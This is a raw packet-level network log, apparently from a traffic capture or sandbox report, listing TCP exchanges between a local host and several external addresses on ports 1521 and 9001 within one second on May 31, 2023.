May 31, 2023 12:23:14.866058111 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866067886 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866082907 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866092920 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866113901 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866113901 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866138935 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866142035 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866166115 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866170883 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866192102 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866231918 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866260052 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866285086 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866288900 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866314888 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866321087 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866342068 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866367102 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866368055 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866396904 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866396904 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866415024 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866427898 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866446972 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866455078 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866477966 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866485119 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866502047 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866513968 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866533995 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866542101 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866560936 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866569042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866596937 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866596937 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866614103 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866626978 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866650105 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866652966 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866669893 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866682053 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866702080 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866708994 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866731882 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866736889 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866760969 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866766930 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866785049 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866796017 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866818905 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866823912 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866847038 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866852999 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866874933 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866882086 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866904020 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866906881 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866936922 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.866951942 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868691921 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868732929 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868757963 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868784904 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868812084 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868823051 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868830919 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868849993 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868856907 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868881941 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868886948 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868908882 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868916988 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868936062 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868951082 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868961096 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.868963003 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868984938 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.868988991 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.869010925 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.869014978 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.869041920 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.869066000 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.869066954 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.869095087 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.869122982 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.878030062 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.880570889 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.880947113 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881083012 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881165028 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881196022 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881221056 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881248951 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881278038 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881305933 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881315947 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881315947 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881315947 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881345034 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881371975 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881371975 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881375074 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881392956 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881408930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881422997 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881441116 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881468058 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881494999 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881505966 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881522894 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881534100 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881551981 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881556988 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881576061 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881582022 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881619930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881627083 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881648064 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881675005 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881685972 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881701946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881707907 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881730080 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881736040 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881755114 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881758928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881788015 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881812096 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881814957 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881829977 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881844044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881860018 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881872892 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881900072 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881903887 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881922007 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.881979942 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.881980896 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882010937 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882038116 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882066011 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882082939 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.882082939 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.882111073 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.882926941 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882960081 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.882986069 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.883013964 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.883019924 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.883040905 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.883049011 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.883079052 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.883096933 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.884349108 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.884385109 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.884409904 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.884478092 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.884610891 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.884638071 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.884676933 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885112047 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885140896 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885176897 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885204077 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885215044 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885227919 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885241032 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885255098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885274887 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885278940 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885292053 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885304928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.885315895 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885334969 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885375023 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.885989904 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886012077 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886102915 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886117935 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886140108 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886167049 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886197090 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886205912 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886224031 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886244059 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886275053 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886295080 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886298895 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886317015 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886337996 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886373997 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886394978 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886399984 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886423111 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886442900 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886476994 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886495113 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886496067 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886517048 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886537075 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886564970 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886585951 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886590958 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886609077 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886630058 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886658907 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886665106 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886682034 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886699915 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886720896 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886748075 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886755943 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886775970 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886791945 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886814117 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886842966 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886862993 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886862993 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886909008 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886919022 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886930943 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886966944 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.886982918 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.886986017 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887003899 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.887037039 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887053013 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.887056112 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887095928 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.887099981 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887118101 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.887146950 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887242079 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.887707949 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.887728930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.887743950 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.887803078 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.889339924 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889369965 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889389992 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889413118 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889484882 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889487982 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889488935 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889508009 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889528990 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889552116 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889574051 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889580011 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889607906 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889628887 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889662027 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889681101 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889686108 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889708042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889734983 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889772892 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889786005 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889807940 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889807940 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889828920 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889858961 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889878988 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889883995 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889900923 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889921904 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889952898 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889971018 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.889975071 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.889993906 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890013933 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890043974 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890053034 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890072107 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890085936 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890115976 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890141010 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890249968 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890311003 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890360117 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890376091 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890376091 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890405893 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890417099 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890460014 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890460968 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890511036 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890516043 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890561104 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890561104 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890610933 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890620947 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890657902 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890661001 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890707016 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890710115 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890783072 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890793085 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890830040 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890830040 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890877962 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890882969 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890923977 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890924931 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.890973091 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.890974045 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.891019106 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.891024113 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.891072035 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.891072035 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.891119957 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.891128063 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.891169071 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.891170979 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.891220093 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.895371914 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.897380114 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.899120092 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.899158955 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.899158955 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.899213076 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.899213076 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.903728008 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.903768063 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.903858900 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.904758930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905764103 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905798912 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905833960 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905869007 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905883074 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.905905008 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.905905962 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905919075 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.905941010 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.905953884 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.905975103 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906008959 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.906021118 CEST	49726	9001	192.168.2.6	217.79.179.177
